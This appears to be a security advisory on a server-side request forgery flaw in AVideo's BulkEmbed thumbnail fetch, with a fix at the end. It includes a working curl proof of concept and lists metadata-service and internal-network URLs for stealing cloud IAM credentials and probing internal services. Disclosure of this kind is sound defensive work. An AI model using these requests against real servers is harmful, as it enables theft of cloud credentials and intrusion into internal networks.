AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources

Summary

The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.

Details

When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:

plugin/BulkEmbed/save.json.php:68-105

foreach ($_POST['itemsToSave'] as $value) {
    foreach ($value as $key => $value2) {
        $value[$key] = xss_esc($value2);  // HTML entity encoding — irrelevant for SSRF
    }
    // ...
    $poster = Video::getPathToFile("{$paths['filename']}.jpg");
    $thumbs = $value['thumbs'];              // ← attacker-controlled URL
    if (!empty($thumbs)) {
        $contentThumbs = url_get_contents($thumbs);  // ← fetched without SSRF check
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);  // ← response saved to disk
        }
    }
    // ...
    $videos->setStatus('a');  // ← video set to active, thumbnail publicly accessible

The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.

All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in:
- plugin/Scheduler/Scheduler.php
- plugin/LiveLinks/proxy.php (two call sites)
- plugin/AI/receiveAsync.json.php
- objects/aVideoEncoder.json.php
- objects/aVideoEncoderReceiveImage.json.php

BulkEmbed is the only URL-fetching endpoint that was not hardened.

This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.

PoC

Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.

Step 1: Authenticate and obtain session cookie

COOKIE=$(curl -s -c - "http://avideo.local/user" \
  -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')

Step 2: Send BulkEmbed save request with internal URL as thumbnail

curl -s -b "PHPSESSID=$COOKIE" \
  "http://avideo.local/plugin/BulkEmbed/save.json.php" \
  -d "itemsToSave[0][title]=SSRF+Test" \
  -d "itemsToSave[0][description]=test" \
  -d "itemsToSave[0][duration]=PT1M" \
  -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "itemsToSave[0][date]="

Expected response:

{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}

Step 3: Retrieve the SSRF response from the saved thumbnail

# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"

The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.

Cloud metadata example targets:
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role names
- http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentials
- http://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work)
- http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadata

Internal network scanning:
- http://10.0.0.1:8080/ — probe internal services
- http://localhost:3306/ — probe local database ports

Impact

• Cloud credential theft: On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).
• Internal network reconnaissance: Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.
• Internal service data exfiltration: Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.
• Scope change: The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone.

Recommended Fix

Add isSSRFSafeURL() validation before the url_get_contents() call in plugin/BulkEmbed/save.json.php, consistent with all other URL-fetching endpoints:

    $thumbs = $value['thumbs'];
    if (!empty($thumbs)) {
        if (!isSSRFSafeURL($thumbs)) {
            _error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs);
            continue;
        }
        $contentThumbs = url_get_contents($thumbs);
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);
            _error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs));
        } else {
            _error_log("ERROR thumbs={$thumbs} poster=$poster");
        }
    }